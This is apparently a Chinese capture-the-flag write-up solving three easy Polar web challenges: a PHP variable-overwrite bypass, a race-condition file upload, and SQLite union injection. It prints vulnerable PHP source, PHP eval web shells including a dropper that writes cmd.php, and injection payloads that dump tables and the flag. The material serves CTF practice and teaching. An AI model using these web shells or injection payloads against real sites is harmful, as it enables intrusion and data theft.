Polar春季个人挑战赛WEB简单部分

The Gift

复制代码
<?php
  include 'config.php';

highlight_file(__FILE__);
error_reporting(0);

class ConfigModel {
  public $apiKey = ''; #存放生成的随机 Key
  public $isAdmin = false; #管理员权限标识,初始为 false
  public $requestTime = 0;

  public function __construct() {
    $this->requestTime = time();
    $this->apiKey = md5($_SERVER['REMOTE_ADDR'] . rand(1, 99999) . "S4ltY_String");
    #使用 IP + 随机数 + 盐值生成 MD5,理论上很难暴力破解
  }

  public function validateApiKey($inputKey) {
    if ($inputKey === $this->apiKey) {
      $this->isAdmin = true;
      # 只有 Key 正确,才会设置为 true
      return true;
    }
    return false;
  }
}

$config = new ConfigModel();

$requestData = array_merge($_GET, $_POST);
#合并 GET 和 POST 请求的数据
foreach ($requestData as $key => $value) {
  $$key = $value;
  #可变变量赋值
}

if (isset($user_api_key)) {
  $config->validateApiKey($user_api_key);
}

if (is_array($config) && isset($config['isAdmin']) && $config['isAdmin'] === 'true') {
  die("Success" . $FLAG);
} else {
  echo "<br>Access Denied.";
}
?>
Access Denied.
复制代码
在 PHP 中,$config->isAdmin(访问对象属性)和 $config['isAdmin'](访问数组键值)是完全不同的
原本类定义里 isAdmin 是布尔值 false
但最后的 if 语句却要求 $config 必须是数组,且其值必须是字符串 'true'。
既然代码要求 $config 是数组,而我们又拥有"变量覆盖"的能力
我们直接把 $config 覆盖成它想要的数组即可
  payload:
config[isAdmin]=true

并发上传

复制代码
争用条件是一种常见的漏洞类型,与业务逻辑缺陷密切相关
当网站在没有足够保护措施的情况下同时处理请求时,就会发生这种情况
这可能导致多个不同的线程同时与相同的数据进行交互,从而导致"冲突",从而导致应用程序中出现意外行为
争用条件攻击使用精心定时的请求来造成故意冲突,并利用这种意外行为来达到恶意目的

根据题目可知这是一道条件竞争题目

复制代码
GIF89a
<?=eval($_REQUEST['cmd']);?>

尝试第一种payload能上传但是不能查看,我们直接开始条件竞争

复制代码
<?php fputs(fopen("cmd.php","w"),'<?php @eval ($_POST["cmd"]); ?>'); ?>

同样进行配置

upload/shell.php

看到返回200即可

我们进行蚁剑连接

注意我们构造的payload用的是cmd.php

shell.php只是用来写入的,不要搞错了

成功获取flag

经过测试存在SQL注入

如何确定为什么数据库

|----------------|----------------------------------|------------------------------------------|
| 数据库类型 | 测试 Payload | 说明 |
| SQLite | sqlite_version() | 只有 SQLite 识别这个函数 |
| MySQL | version()@@version | 虽然 Postgres 也用 version(),但 MySQL 常用 @@ |
| PostgreSQL | version() | 返回包含 "PostgreSQL" 字样的详细字符串 |
| MSSQL | @@version | 典型的 Microsoft SQL Server 标识 |
| Oracle | (select banner from v$version) | Oracle 语法较严苛,通常需要 from dual |

确定为sqlite数据库

复制代码
' union select 1,group_concat(tbl_name),3 from sqlite_master where type='table'--+

看不了列名,盲猜为flag

复制代码
' union select 1,flag,3 from flaggggggggggg--+
相关推荐
夜郎king2 小时前
湖南高考天气查询:基于 HTML5 与百度天气 API 实现页面展示
前端·html5·百度天气实践·天气信息可视化
云水一下9 小时前
TypeScript 从零基础到精通(五):高级类型与泛型
前端·javascript·typescript
counterxing9 小时前
vibe coding 之后,我更不想打字了
前端·agent·ai编程
copyer_xyf9 小时前
Python 模块与包的导入导出
前端·后端·python
研☆香9 小时前
es6新特性功能介绍(四)
前端·ecmascript·es6
微扬嘴角10 小时前
React篇1--JSX语法规则、组件、组件实例的3大特性
前端·react.js·前端框架
copyer_xyf10 小时前
Python venv 虚拟环境
前端·后端·python
艾iYYY10 小时前
string 类的模拟实现
android·服务器·c语言·c++·算法
无聊的老谢10 小时前
Vue 3 + TypeScript 构建大型电信运维平台的前端架构设计
前端·vue.js·typescript
xiaofeichaichai10 小时前
Map / Set / WeakMap / WeakSet
前端·javascript